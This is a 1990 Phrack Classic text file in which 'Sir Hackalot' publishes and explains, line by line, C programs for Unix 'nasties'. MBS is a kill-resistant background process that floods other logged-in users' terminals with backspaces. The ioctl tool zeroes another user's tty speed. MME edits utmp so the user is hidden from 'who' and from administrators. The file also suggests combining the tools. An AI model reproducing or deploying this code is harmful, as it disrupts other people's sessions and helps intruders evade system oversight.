home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 1 / HACKER1.ISO / phrk3 / phrack32.5 < prev    next >
Text File  |  1992-09-26  |  28KB  |  913 lines

  1.  
  2.                               ==Phrack Classic==
  3.  
  4.                      Volume Three, Issue 32, File #5 of 12
  5.  
  6.  
  7.         *%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*
  8.         %P                                                           P%
  9.         %H                  C UNIX `nasties' PART I                  H%
  10.         %A                            by                             A%
  11.         %Z             Sir Hackalot of PHAZE (10/20/90)              Z%
  12.         %E                                                           E%
  13.         *%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*
  14.  
  15.  
  16. o Purpose of this file:
  17.  
  18.         The purpose of this file is to share small C programs for the Unix
  19.         System V and/or BSD 4.3 operating systems which as in logical terms,
  20.         "Nasty".  This "Nasty" can be termed better as Annoyance programs
  21.         or tricky programs.
  22.  
  23.         The purpose of this text however, is NOT to teach one how to program
  24.         in C and or how to use the C compiler on Unix systems.    This textfile
  25.         assumes you have a working knowledge of programming with C in the
  26.         UNIX environment.
  27.  
  28.  
  29.  
  30. o The UTMP Reader:
  31.   ~~~~~~~~~~~~~~~~
  32.  
  33.         First, I would like to start this text off by posting in a generic
  34.         /etc/utmp reader.  The /etc/utmp reader is essential for applications
  35.         that deal with all the users online at a given time.
  36.  
  37.         Here is the source:
  38.  
  39. - - - - - - - - - - - - - - - - - -CUT-HERE- - - - - - - - - - - - - - - - - -
  40.  
  41.  
  42. /* WhatTTY -- Generic WHO
  43. UTMP Reader "Skeleton" : By Sir Hackalot / PhaZe
  44.  
  45. This is basically a skeleton program that is just a base for any UTMP
  46. operations.
  47.  
  48. This is the skeleton that PhaZe(soft) uses for anything that deals
  49. with reading the utmp file, such as MBS, SEND, VW, MME, and other
  50. utilities.
  51.  
  52. Applications: You can use this when you need to do something to
  53. everyone online, or when you need some sort of data from utmp, wtmp
  54. or any file that is like utmp.
  55. */
  56.  
  57. #include <stdio.h>
  58. #include <sys/types.h> /* This is the key to the whole thing */
  59. #include <utmp.h>
  60. #include <fcntl.h>
  61.  
  62.  
  63. main()
  64. {
  65.         int handle;
  66.         char *etc = "/etc/utmp";
  67.         struct utmp user;
  68.  
  69.         handle = open(etc,O_RDONLY);
  70.  
  71.         while(read(handle,&user,sizeof(user)) != 0) {
  72.                 if (user.ut_type == USER_PROCESS)
  73.         printf("%s is on %s\n",user.ut_name,user.ut_line);
  74.     }
  75.     close(handle);
  76.  
  77. /* Simple, Right? */
  78. /* To see anything that is waiting for a login, change USER_PROCESS
  79. to LOGIN_PROCESS */
  80. }
  81.  
  82. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  83.  
  84.     In the above program, this is what happens:
  85.     1.  I assigned the variable "etc" to point at the string
  86.         "/etc/utmp", which is the utmp file.
  87.     2.  I opened in in Read ONLY mode (O_RDONLY).
  88.     3.  I started a loop that does not end until 0 bytes are
  89.         read into the user structure.  The 0 bytes would mean
  90.         end of file.
  91.  
  92.     Notice the line:
  93.     if (user.ut_type == USER_PROCESS)
  94.  
  95.     What the above line does is to distinguish between a user
  96.     and a terminal waiting for a Login.  The ut_type is defined
  97.     in utmp.h.  There are many types.  One of them is LOGIN_PROCESS.
  98.     That will be a terminal waiting for a login.  If you wanted to see
  99.     all the TTYs waiting to be logged in on, you would change the
  100.     USER_PROCESS to LOGIN_PROCESS.    Other types are things like
  101.     INIT_PROCESS.  You can just look in utmp.h to see them.
  102.  
  103.     Also notice that I have inclide "sys/types.h".  If you do not include
  104.     this file, there will be an error in utmp.h, and other headers.
  105.     types.h has definitions for other TYPES of data, etc.  So, if in
  106.     a header file you encounter a syntax error, you might need to include
  107.     sys/types.h
  108.  
  109.     This program is just a skeleton, although it does print out who
  110.     is logged on, and to what TTY they are on.  You will see how this
  111.     skeleton I wrote can be used.  I used it to write MBS.
  112.  
  113. _______________________________________________________________________________
  114.  
  115.  
  116. o MBS -- Mass BackSpace virus:
  117.   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  118.  
  119.     MBS may not be considered a virus, since it does not replicate
  120.     itself.  However, it does "infect" every user that logs in, provided
  121.     the conditions are right.
  122.  
  123.     The MBS virus uses the utmp reader to constantly read the utmp
  124.     file to find its next victim. Thus, eventually getting everyone, then
  125.     recycling to start again. Therefore catching people who login after
  126.     it is started.
  127.  
  128.     Lets look at the source:
  129.  
  130. - - - - - - - - - - - - - - - - - -CUT-HERE- - - - - - - - - - - - - - - - - -
  131.  
  132. #include <stdio.h>
  133. #include <sys/types.h>
  134. #include <utmp.h>
  135. #include <fcntl.h>
  136. #include <signal.h>
  137. /*
  138.    MBS - Mass BackSpace Virus!! v2.2 Deluxe+
  139.    (c) 1990 - Sir Hackalot
  140.    PhaZeSOFT Ltd.
  141.  
  142. */
  143.  
  144. char *ent[10][100]; /* This supports 10 immune people change 10 to x for more */
  145. int maxitem = 5; /* Should be total # of immune dudes */
  146. int truefalse = 0;
  147. int warn[10],bad;
  148. char full_tty[15], text[160],  kstr[80];
  149. FILE *to_tty, *strm;
  150. struct utmp u;
  151.  
  152.  
  153. void kmes(fmt,boo)
  154. char *fmt;
  155. int boo;
  156. {
  157.     if (boo != 0) {
  158.         printf("MBS_KERN: ");
  159.         printf("%s",fmt);
  160.     }
  161.     if (boo == 0) {
  162.         sprintf(full_tty,"/dev/%s",u.ut_line);
  163.         to_tty = fopen(full_tty,"w");
  164.         fprintf(to_tty,"MBS_KERN: %s",fmt);
  165.         fclose(to_tty);
  166.     }
  167. }
  168.  
  169. void initit() {  /* Initialize our little "kernel" */
  170.     int xxx = 0;
  171.     strcpy(ent[0],"technic");
  172.     strcpy(ent[1],"merlin");
  173.     strcpy(ent[2],"datawiz");
  174.     strcpy(ent[3],"par");
  175.     strcpy(ent[4],"Epsilon");
  176.     while (xxx < 11) {
  177.         warn[xxx] = 0;
  178.         xxx++;
  179.     }
  180.     kmes("Kernel Started.\n",1);
  181. }
  182.  
  183. void warnem(wcnt) /* Notify all the immune people ... */
  184. int wcnt;
  185. {
  186.     if (bad == 0) { /* keep from dumping core to disk */
  187.         if (warn[wcnt] < 2) {
  188.             sprintf(kstr,"%s has started a backspace virus!\n",getlogin());
  189.             kmes(kstr,0);
  190.             warn[wcnt]++;
  191.         }
  192.     }
  193. }
  194.  
  195.  
  196. int checkent(uname) /* Check for immunity */
  197. char *uname;
  198. {
  199.     int cnt = 0;
  200.     truefalse = 0; /* assume NOT immune */
  201.     while (cnt < maxitem) {
  202.         if (strcmp(uname,ent[cnt]) == 0) { /* if immune... */
  203.             truefalse = 1;
  204.             warn[cnt]++; /* increment warning variable */
  205.             warnem(cnt); /* warn him if we have not */
  206.         }
  207.  
  208.         cnt++;
  209.     }
  210.     return(truefalse); /* return immunity stat. 1=immune, 0 = not */
  211. }
  212.  
  213.  
  214. /* Purpose: Instead of just ignoring the signal via SIG_IGN, we want
  215. to intercept it, and notify use */
  216. void sig_hand(sig)
  217. int sig;
  218. {
  219. if(sig == 3) kmes("Ignoring Interrupt\n",1);
  220. if(sig == 15) kmes("Ignoring Termination Signal\n",1);
  221. if(sig == 4) kmes("Ignoring quit signal.\n",1);
  222.     }
  223.  
  224. main(argc,argv)
  225. int argc;
  226. char *argv[];
  227.  
  228. {
  229.     int prio,pid,isg,handle;
  230.     char buf[80];
  231.     char name[20],tty[20],time[20];
  232.     initit();
  233.     if (argc < 2) prio = 20;
  234.     if (argc == 2) prio = atoi(argv[1]);
  235.     if ((pid = fork()) > 0) {
  236.     printf("Welcome to MBS 2.2 Deluxe, By Sir Hackalot [PHAZE]\n");
  237.         printf("Another Fine PhaZeSOFT production\n");
  238.         printf("Thanks to The DataWizard for Testing this\n");
  239.         printf("Hello to The Conflict\n");
  240.         sprintf(kstr,"Created Process %s (%d)\n\n",argv[0],pid);
  241.         kmes(kstr,1);
  242.         exit(0); /* KILL MOTHER PID, return to Shell & go background */
  243.     }
  244.     nice(prio);
  245.     signal(SIGQUIT,sig_hand);
  246.     signal(SIGINT,sig_hand);
  247.     signal(SIGTERM,sig_hand);
  248.     /* That makes sure you HAVE to do a -9 or -10 to kill this thing.
  249.        Sometimes, hitting control-c will kill of background processes!
  250.        Add this line if you want it to continue after you hangup:
  251.        signal(SIGHUP,SIG_IGN);
  252. doing it will have the same effect as using NOHUP to
  253. to execute it. Get it? Nohup = no SIGHUP
  254. */
  255.     while(1) {  /* "Kernel" Begins here and never ends */
  256.         handle = open("/etc/utmp",O_RDONLY);
  257.         while (read(handle,&u,sizeof(u)) != 0) {
  258.             bad = 0;
  259.             sprintf(full_tty,"/dev/%s",u.ut_line);
  260.             if (strcmp(u.ut_name,getlogin()) != 0) {
  261.  
  262.      /* Fix: Below is a line that optimizes the hosing/immune process
  263.         It skips the utmp entry if it is not a user.  If it is, it
  264.         checks for immunity, then comes back. This is alot faster
  265.         and does not wear down cpu time/power */
  266.  
  267.            if (u.ut_type == USER_PROCESS) isg = checkent(u.ut_name);
  268.            else isg = 1;
  269.          if (isg != 1) {
  270.                     if((to_tty = fopen(full_tty,"w")) == NULL)  {
  271.                         bad = 1;
  272.                     }
  273.                     if (bad == 0) {
  274.                         fprintf (to_tty, "\b\b\b");
  275.                         fflush (to_tty);
  276.                     }
  277.                     fclose(to_tty);
  278.                 }
  279.             }
  280.         }
  281.         close (handle);
  282.     }
  283. }
  284.  
  285. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  286.  
  287.     I am going to try to take this bit by bit and explain how it works
  288.     so that maybe you can come up with some good ideas on creating
  289.     something similar.
  290.  
  291.     I will start with the MAIN function.  Here it is:
  292.  
  293. ___
  294.  
  295. main(argc,argv)
  296. int argc;
  297. char *argv[];
  298.  
  299. {
  300.     int prio,pid,isg,handle;
  301.     char buf[80];
  302.     char name[20],tty[20],time[20];
  303.     initit();
  304. ___
  305.  
  306.     Obviously, this is the part of the code which initializes the main
  307.     variables used.  The "main(argc,argv)" is there so it can accept
  308.     command line parameters.  The command line parameters are just
  309.     for speed customization, which I will discuss later.  Notice how
  310.     the variables are defined for the command line parameters:
  311.  
  312.     int argc, char *argv[];
  313.  
  314.     argc is the number of arguments, INCLUDING the name of the current
  315.     executable running.  argv[] holds the strings in an array which make
  316.     up the parameters passed.  argv[0] holds the name of the program,
  317.     while argv[1] holds the 1st parameter entered on the command line.
  318.     initit() is called to set up the necessary tables.  All of
  319.     the variables defined at the top of the program are global, and alot
  320.     of these functions use the global variables, as does initit();.
  321.  
  322. ___
  323.  
  324. if (argc < 2) prio = 20;
  325. if (argc == 2) prio = atoi(argv[1]);
  326. ___
  327.  
  328.     Ok, the above two lines essentially parse the command line.
  329.     The MBS program only accepts ONE argument, which is the priority
  330.     value to add to the normal process priority.  This is so you
  331.     can customize how fast MBS runs.  If you want to burn CPU time,
  332.     you would invoke mbs by:
  333.     $ mbs 0
  334.  
  335.     That would make the priority as fast as the current can run something.
  336.     MBS's default priority setting is 20, so that CPU time will be saved.
  337.     MBS is very fast however, and since alot of Unix systems like to
  338.     cache alot of frequently used data from disks, it gets fast after
  339.     it reads utmp a few times, since utmp will be cached until it changes.
  340.     However, you can run MBS with a number from 0-19, the higher the
  341.     number, the "less" priority it will have with the cpu.
  342.  
  343.  
  344. ___
  345.  
  346. if ((pid = fork()) > 0) {
  347.   printf("Welcome to MBS 2.2 Deluxe, By Sir Hackalot [PHAZE]\n");
  348.   printf("Another Fine PhaZeSOFT production\n");
  349.   sprintf(kstr,"Created Process %s (%d)\n\n",argv[0],pid);
  350.   kmes(kstr,1);
  351.   exit(0); /* KILL MOTHER PID, return to Shell & go background */
  352. }
  353.  
  354. ___
  355.  
  356.     The above is what sends MBS into the background.  It calls fork(),
  357.     which creates another process off the old one.    However, fork()
  358.     can be considered "cloning" a process, since it will use anything
  359.     beneath it.  So, now you can assume there are TWO copies of MBS
  360.     running -- One in the foreground, and one in the background.  However,
  361.     you may notice the exit(0).  That first exit kills off the parent.
  362.     a second call to exit() would kill the child as well.  notice the
  363.     call to "kmes".  kmes is just a function that is defined earlier,
  364.     which I will discuss later.
  365. ___
  366.  
  367. nice(prio);
  368. signal(SIGQUIT,sig_hand);
  369. signal(SIGINT,sig_hand);
  370. signal(SIGTERM,sig_hand);
  371. /*   signal(SIGHUP,SIG_IGN); */
  372. ___
  373.  
  374.     The above code is integral for the survival of the MBS program in
  375.     memory.  The nice(prio) is what sets the new priority determined
  376.     by the command line parsing.
  377.  
  378.     The signal() statements are basically what keeps MBS running.  What
  379.     it does is catch INTERRUPTS, Quits, and a regular call to KILL.
  380.     the commented out portion would ignore requests to kill upon hangup.
  381.     This would keep MBS in the background after you logged off.
  382.  
  383.     Why do this?  Well, remember that the parent was affected by
  384.     its environment?  Well, the new forked process is too.    That means,
  385.     if you were 'cat'ting a file, and hit control-C to stop it, the
  386.     cat process would stop, but push the signal on to MBS, which would
  387.     cause MBS to exit, if it did not have a signal handler.  The signal
  388.     calls setup signal handlers.  What they do is tell the program
  389.     to goto the function sig_hand() when one of the 3 signals is
  390.     encountered.  The commented signal just tells the program to ignore
  391.     the hangup signal.  The sig_hand argument can be replaced with
  392.     SIG_IGN if you just want to plain ignore the signal and not handle it.
  393.  
  394.     The SIGQUIT is sometimes the control-D character.  That is why it
  395.     also must be dealt with.  If the signals aren't ignored or caught,
  396.     MBS can easily kicked out of memory by YOU, by accident of course.
  397.  
  398. ___
  399.  
  400. while(1) {  /* "Kernel" Begins here and never ends */
  401.      handle = open("/etc/utmp",O_RDONLY);
  402. ___
  403.  
  404.     The above starts the main loop.  The begining of the loop is to open
  405.     the utmp file.
  406.  
  407. ___
  408.  
  409.  while (read(handle,&u,sizeof(u)) != 0) {
  410.       bad = 0;
  411.       sprintf(full_tty,"/dev/%s",u.ut_line);
  412.       if (strcmp(u.ut_name,getlogin()) != 0) {
  413.     if (u.ut_type == USER_PROCESS) isg = checkent(u.ut_name);
  414.        else isg = 1;
  415.     if (isg != 1) {
  416.        if((to_tty = fopen(full_tty,"w")) == NULL)  {
  417.           bad = 1;
  418.           }
  419.        if (bad == 0) {
  420.           fprintf (to_tty, "\b\b\b");
  421.           fflush (to_tty);
  422.           }
  423.           fclose(to_tty);
  424.     }
  425.     }
  426. ___
  427.  
  428.  
  429.     Above is the sub_main loop.  what it does is go through the utmp
  430.     file, and on each entry, it prepares a path name to the TTY
  431.     of the current utmp entry (sprintf(fulltty...)).  Then it checks
  432.     to see if it is YOU.  If it is, the loop ends.    If it is not, then
  433.     it sees if it is a User.   If not, it ends the loop and goes to
  434.     the next.
  435.  
  436.     If it is a user, it goes to checkent to see if that user has been
  437.     declared immune in the immunity tables (down below later..).
  438.     If the idiot is not immune, it attempts to open their tty.  If it
  439.     cannot, it sets the bad flag, then ends the loop.  If it can be
  440.     written to, it sends three backspaces, according to YOUR tty specs.
  441.     Then, it closes the opened tty, and the loop continues until the end.
  442.  
  443. ___
  444.  
  445.        }
  446. close (handle);
  447.     }
  448. }
  449.  
  450. ___
  451.  
  452.     The above is the end of the main loop.    It closes handle (utmp) so
  453.     it can be reopened at the start of the loop at the beginning of the
  454.     file.  The reason to not create a table of people to hit in memory
  455.     after one reading is so that MBS will stop after people logoff, and
  456.     to start when new ones logon.  The constant reading of the utmp
  457.     file makes sure everyone gets hit, except immune people.  Also,
  458.     the file must be closed before reopening, or else, after a few opens,
  459.     things will go to hell.
  460.  
  461.  
  462. Here is the signal handler:
  463.  
  464. ___
  465.  
  466. void sig_hand(sig)
  467. int sig;
  468. {
  469. if(sig == 3) kmes("Ignoring Interrupt\n",1);
  470. if(sig == 15) kmes("Ignoring Termination Signal\n",1);
  471. if(sig == 4) kmes("Ignoring quit signal.\n",1);
  472.     }
  473. ___
  474.  
  475.     It is very simple.  when a signal is caught and sent to the handler,
  476.     the library function SIGNAL sends the signal number as an argument
  477.     to the function.  The ones handled here are 3,4, and 15.  But
  478.     this was just for effect.  You could just have it print one line
  479.     no matter what the signal was, or just rip this function out and
  480.     put in SIG_IGN in the signal calls.
  481.  
  482.     Below is the immunity check:
  483. ___
  484.  
  485. int checkent(uname) /* Check for immunity */
  486. char *uname;
  487. {
  488.     int cnt = 0;
  489.     truefalse = 0; /* assume NOT immune */
  490.     while (cnt < maxitem) {
  491.         if (strcmp(uname,ent[cnt]) == 0) { /* if immune... */
  492.             truefalse = 1;
  493.             warn[cnt]++; /* increment warning variable */
  494.             warnem(cnt); /* warn him if we have not */
  495.         }
  496.  
  497.         cnt++;
  498.     }
  499.     return(truefalse); /* return immunity stat. 1=immune, 0 = not */
  500. }
  501.  
  502. ___
  503.  
  504.     Above, you see variables used that are not defined.  They are
  505.     just variables that were declared as globals at the begining.
  506.     What this does is just compare the login name sent to it with
  507.     every name in the immunity table.  If it finds the name on
  508.     the table matches, it will go and see if it should warn the
  509.     user.  Also, the warn count is incremented so that the warning
  510.     function will know if the user has been warned.
  511.  
  512.     Here is the warning function:
  513.  
  514. ___
  515.  
  516. void warnem(wcnt) /* Notify all the immune people ... */
  517. int wcnt;
  518. {
  519.     if (bad == 0) { /* keep from dumping core to disk */
  520.         if (warn[wcnt] < 2) {
  521.             sprintf(kstr,"%s has started a backspace virus!\n",getlogin());
  522.             kmes(kstr,0);
  523.             warn[wcnt]++;
  524.         }
  525.     }
  526. }
  527. ___
  528.  
  529.     What this does is take the position number of the table entry and
  530.     checks and see if that entry has been warned before.  It decides
  531.     this by checking its value.  If it is less than two, that means
  532.     the user had not been warned.  After it is sent, the function
  533.     incrememnts the warning flag so that they will never been warned
  534.     again until the program has stopped & restarted or someone else
  535.     runs one.  The "if (bad == 0)" is there so that it only warns a
  536.     person if it can write to the tty.
  537.  
  538.     Here is the kmes function you keep seeing:
  539.  
  540. ___
  541.  
  542. void kmes(fmt,boo)
  543. char *fmt;
  544. int boo;
  545. {
  546.     if (boo != 0) {
  547.         printf("MBS_KERN: ");
  548.         printf("%s",fmt);
  549.     }
  550.     if (boo == 0) {
  551.         sprintf(full_tty,"/dev/%s",u.ut_line);
  552.         to_tty = fopen(full_tty,"w");
  553.         fprintf(to_tty,"MBS_KERN: %s",fmt);
  554.         fclose(to_tty);
  555.     }
  556. }
  557. ___
  558.     All this is, is a fancy printf which prints a string with
  559.     "MBS_KERN:" stuck on the front of it.  the BOO variable is just
  560.     so it can determine whether or not to send it to the local
  561.     screen or to another tty.  It is just for looks.
  562.  
  563.     Now, finally, we can look at the initializer:
  564.  
  565. ___
  566.  
  567. void initit() {  /* Initialize our little "kernel" */
  568.     int xxx = 0;
  569.     strcpy(ent[0],"sirh");
  570.     strcpy(ent[1],"merlin");
  571.     strcpy(ent[2],"datawiz");
  572.     strcpy(ent[3],"par");
  573.     strcpy(ent[4],"epsilon");
  574.     while (xxx < 11) {
  575.         warn[xxx] = 0;
  576.         xxx++;
  577.     }
  578.     kmes("Kernel Started.\n",1);
  579. }
  580. ___
  581.  
  582.     This is a very SIMPLE procedure.  It just fills the list
  583.     with the people to keep immune.  ent[..][..] is what holds
  584.     the immune list.  It also zeros out the warning flags associated
  585.     with each user.  ("sirh","merlin","par",etc. are acct. names)
  586.  
  587.     This "virus" can do more than just send backspaces if you want it
  588.     to, but it will take modification.  Some people have modified
  589.     it to include the next program, which is ioctl.c.
  590.  
  591. _______________________________________________________________________________
  592.  
  593.  
  594.  
  595. o IOCTL -- Set another's tty w/out read perms
  596.   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  597.  
  598.     The program ioctl is very very nice.  What it does is basically
  599.     act like stty, but you don't have to use the < to change
  600.     someone else's terminal.  Here is the listing:
  601.  
  602. - - - - - - - - - - - - - - - - - -CUT-HERE- - - - - - - - - - - - - - - - - -
  603.  
  604. #include <stdio.h>
  605. #include <sys/types.h>
  606. #include <fcntl.h>
  607. #include <sgtty.h>
  608. #define TIOC ('T'<<8)
  609. #define TCSETA (TIOC|2)
  610.  
  611. main(argc,argv)
  612. int argc;
  613. char *argv[];
  614. {
  615.     int x;
  616.     struct sgttyb histty;
  617.     if (argc == 1) exit(0);
  618.     x = open(argv[1],O_WRONLY);
  619.     if (x == -1) exit(0);
  620.     histty.sg_ispeed = B0;
  621.     histty.sg_ospeed = B0;
  622.     ioctl(x,TCSETA,&histty);
  623. }
  624.  
  625. - - - - - - - - - - - - - - - - - -CUT-HERE- - - - - - - - - - - - - - - - - -
  626.  
  627.     The basis of the program is that you give a full path to the tty
  628.     to nail.  You need to be able to write to the tty for it to work.
  629.  
  630.     Notice the two defines.  They are in there so you do not have
  631.     to include termio.h, and hence get 200 warnings of redefinition.
  632.     This program is WAY simpler than MBS, but here is how it works:
  633.  
  634. ___
  635.  
  636. main(argc,argv)
  637. int argc;
  638. char *argv[];
  639. ___
  640.  
  641.     Of course, the above sets up the program to get command line
  642.     arguments.
  643.  
  644. ___
  645.  
  646.     int x;
  647.     struct sgttyb histty;
  648. ___
  649.  
  650.     These are the variables.  the sgttyb structure is what the ioctl
  651.     function call needs to do its duty.  You can do a lot to a tty
  652.     using the structure, but this program only does 2 things to the
  653.     tty, as you shall soon see.  Remember that the programs here can
  654.     be modified, especially this one.  Just check out sgtty.h to
  655.     see the modes you can pop a tty into.
  656.  
  657. ___
  658.  
  659.     if (argc == 1) exit(0);
  660.     x = open(argv[1],O_WRONLY);
  661.     if (x == -1) exit(0);
  662. ___
  663.  
  664.     The above three lines are the open/error checks.  The 1st line
  665.     says that if the idiot did not give an argument then exit
  666.     the program.  The argument needs to be the path to the
  667.     device driver (/dev/tty...).
  668.     The second line opens the tty for writing, and the third exits
  669.     upon error.
  670.  
  671. ___
  672.  
  673.     histty.sg_ispeed = B0;
  674.     histty.sg_ospeed = B0;
  675.     ioctl(x,TCSETA,&histty);
  676. ___
  677.  
  678.     The above three lines are the meat of the program.  What they
  679.     do is this:
  680.  
  681.     Line 1 sets the input speed to 0 for the tty into the structure.
  682.     line 2 sets the output speed to 0 for the tty into the structure.
  683.     line 3 sets the tty according to the structure histty.
  684.  
  685.     That is why if you look into the components of the structure, you can
  686.     do things, such as convert all output to uppercase for them,
  687.     set a higher baud, redefine CR mapping, redefine tabs, and
  688.     all sorts of things.
  689.  
  690. _______________________________________________________________________________
  691.  
  692.  
  693. o MME - Make ME!:
  694.   ~~~~~~~~~~~~~~~
  695.     MME is just a program which changes utmp for you, in order to hide
  696.     you, or just mess with other user's minds.  This is a different
  697.     version then the one I originally put out.  In this version,
  698.     I removed the code that lets you change your tty.  It just became
  699.     too dangerous to change your tty.
  700.  
  701.     Here is the listing:
  702.  
  703. - - - - - - - - - - - - - - - - - -CUT-HERE- - - - - - - - - - - - - - - - - -
  704.  
  705. #include <stdio.h>
  706. #include <fcntl.h>
  707. #include <sys/types.h>
  708. #include <utmp.h>
  709. #include <sys/stat.h>
  710.  
  711. char *mytty; /* For an exact match of ut_line */
  712. char *backup_utmp = "cp /etc/utmp /tmp/utmp.bak";
  713. struct utmp *user;
  714.  
  715. main(argc,argv)
  716. int argc;
  717. char *argv[];
  718. {
  719.     int good= 0,cnt = 0,start = 1, index = 0;
  720.     char err[80];
  721.     system(backup_utmp);
  722.     printf("Welcome to MME 1.00 By Sir Hackalot\n");
  723.     printf("Another PHAZESOFT Production\n");
  724.     printf("Status:");
  725.     if (argc == 2) printf("Changing your login to %s\n",argv[1]);
  726.     if (argc == 1) printf("Removing you from utmp\n");
  727.  
  728.     utmpname("/etc/utmp");
  729.     mytty = strrchr(ttyname(0),'/'); /* Goto the last "/" */
  730.     strcpy(mytty,++mytty); /* Make a string starting one pos greater */
  731.     while (good != 1) {
  732.         user = getutent();
  733.         cnt++;
  734.         if (strcmp(user->ut_line,mytty) == 0) good =1;
  735.     }
  736.     utmpname("/etc/utmp"); /* Reset file pointer */
  737.     for(start = 0;start < cnt;start++) {
  738.         user = getutent(); /* Move the file pointer to where we are */
  739.     }
  740.  
  741.  
  742.     if (argc == 1) {
  743.      user->ut_type = LOGIN_PROCESS;
  744.      strcpy(user->ut_name,"LOGIN");
  745.            }
  746.     else user->ut_type = USER_PROCESS;
  747.  
  748.     if (argc == 2) strcpy(user->ut_name,argv[1]);
  749.     pututline(user); /* Rewrite our new info */
  750.     endutent(); /* Tell the utmp functions we are through */
  751.     printf("Delete /tmp/utmp.bak if all is well.\n");
  752.     printf("Else, copy it to /etc/utmp.\n");
  753. }
  754.  
  755. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  756.  
  757.  
  758.     Well, of course, we will take this bit by bit.
  759.     Lets start with the standard ole function:
  760.  
  761. ___
  762.  
  763. main(argc,argv)
  764. int argc;
  765. char *argv[];
  766. ___
  767.  
  768.     This again sets up main so we can accept command line arguments.
  769.  
  770. ___
  771.  
  772. char *mytty; /* For an exact match of ut_line */
  773. char *backup_utmp = "cp /etc/utmp /tmp/utmp.bak";
  774. struct utmp *user;
  775. ___
  776.  
  777.     These are just global variables.
  778.     Backup_utmp is the command we will issue to shell for a failsafe
  779.     mechanism.
  780.  
  781. ___
  782.  
  783.        system(backup_utmp);
  784.     printf("Welcome to MME 1.00 By Sir Hackalot\n");
  785.     printf("Another PHAZESOFT Production\n");
  786.     printf("Status:");
  787.     if (argc >= 2) printf("Changing your login to %s\n",argv[1]);
  788.     if (argc == 1) printf("Removing you from utmp\n");
  789. ___
  790.  
  791.     The above is not hard to figure out.  First, this uses the system
  792.     command to load shell, and execute our backup command.
  793.     Then, the lame credits are printed.  Then, it tells you what it
  794.     is going to do based on the number of arguments passed from the
  795.     command line.
  796.     If no arguments are given (argc==1) then remove us from utmp.
  797.     If there are 1 or more (arc>=2) then change the login name.
  798.  
  799. ___
  800.  
  801. utmpname("/etc/utmp");
  802.     mytty = strrchr(ttyname(0),'/'); /* Goto the last "/" */
  803.     strcpy(mytty,++mytty); /* Make a string starting one pos greater */
  804. ___
  805.  
  806.     The above code does the following:  utmpname is a system function
  807.     common to UNIX system V, XENIX system V, etc.  It is part of the
  808.     utmp reading library.  It sets the thing to be read when the
  809.     other system calls are made (getutent, etc..).
  810.     mytty is set to hold one's tty.  It has to break down the result
  811.     of ttyname(0) to get a ttyname without a path.
  812.  
  813. ___
  814.  
  815. while (good != 1) {
  816.         user = getutent();
  817.         cnt++;
  818.         if (strcmp(user->ut_line,mytty) == 0) good =1;
  819.     }
  820. ___
  821.  
  822.  
  823.     This code gets your relative index from utmp and stores it into
  824.     cnt.
  825.  
  826. ___
  827.  
  828. utmpname("/etc/utmp"); /* Reset file pointer */
  829.     for(start = 0;start < cnt;start++) {
  830.         user = getutent(); /* Move the file pointer to where we are */
  831.     }
  832. ___
  833.  
  834.     The above resets the file pointer used by the system calls, then
  835.     moves to your entry.
  836.  
  837. ___
  838.  
  839. if (argc == 1) {
  840.      user->ut_type = LOGIN_PROCESS;
  841.      strcpy(user->ut_name,"LOGIN");
  842.            }
  843.     else user->ut_type = USER_PROCESS;
  844.  
  845.     if (argc == 2) strcpy(user->ut_name,argv[1]);
  846.     pututline(user); /* Rewrite our new info */
  847.     endutent(); /* Tell the utmp functions we are through */
  848. ___
  849.  
  850.     The above is very simple as well.  If you are removing yourself
  851.     from utmp, it will change your process type to LOGIN_PROCESS
  852.     so that when someone does a "who", you are not there.
  853.     It changes your login name to LOGIN so if some knowitall
  854.     system admin does a who -l, he wont see you.  See, who -l shows
  855.     ttys waiting for login.  SO, if i did not change your tty name,
  856.     we would see:
  857.  
  858.     $ who -l
  859.     LOGIN        ttyxx1
  860.     LOGIN        tty002
  861.     joehack     tty003
  862.     LOGIN        tty004
  863.  
  864.     See the problem there?    That is why your name needs to be
  865.     changed to LOGIN.
  866.     If you are changing your login name, the "else" statment kicks
  867.     in and makes SURE you WILL show up in utmp, in case you had
  868.     removed yourself before.
  869.     Then, it takes the command line argument, and places it as your
  870.     login name in utmp.
  871.     pututline(user) then writes the info into the record where the
  872.     file pointer is... and that is your record.  It puts the contents
  873.     of the things in the "user" structure into the file.  then, endutent
  874.     closes the file.
  875.  
  876.     Now, here is an example of using the file:
  877.  
  878.     # mme Gh0d
  879.  
  880.     that would change your login name to Gh0d in utmp.
  881.  
  882.     # mme
  883.  
  884.     that would remove you from sight.  Remember!!: You need write perms
  885.     to utmp for this to work.  You CAN test this program by changing
  886.     the filename in the function "utmpname" to somewhere else, say in
  887.     /tmp.  You could copy /etc/utmp to /tmp/utmp, and test it there.
  888.     Then, you could use "who" to read the file in /tmp to show the
  889.     results.
  890.  
  891. _______________________________________________________________________________
  892.  
  893.  
  894. o In Conclusion:
  895.   ~~~~~~~~~~~~~~
  896.  
  897.     These are just some of the programs I decided to put in this file.
  898.     I have a lot more, but I decided I would keep them for later
  899.     issues, and leave these two together since they can
  900.     be easily related.  One person took MBS, and ioctl, and mended
  901.     them together to make a program that sets everyone's baud
  902.     rate to zero instead of sending 3 backspaces.  They just put
  903.     in the above lines of code into the place where they sent
  904.     the backspaces, and used open instead of stream open (fopen).
  905.     It is very simple to mend these two things together.
  906.  
  907.     Have a nice life!  Keep on programmin'!
  908.  
  909.     By: Sir Hackalot of Phaze.
  910. _______________________________________________________________________________
  911.  
  912. Downloaded From P-80 International Information Systems 304-744-2253 12yrs+
  913.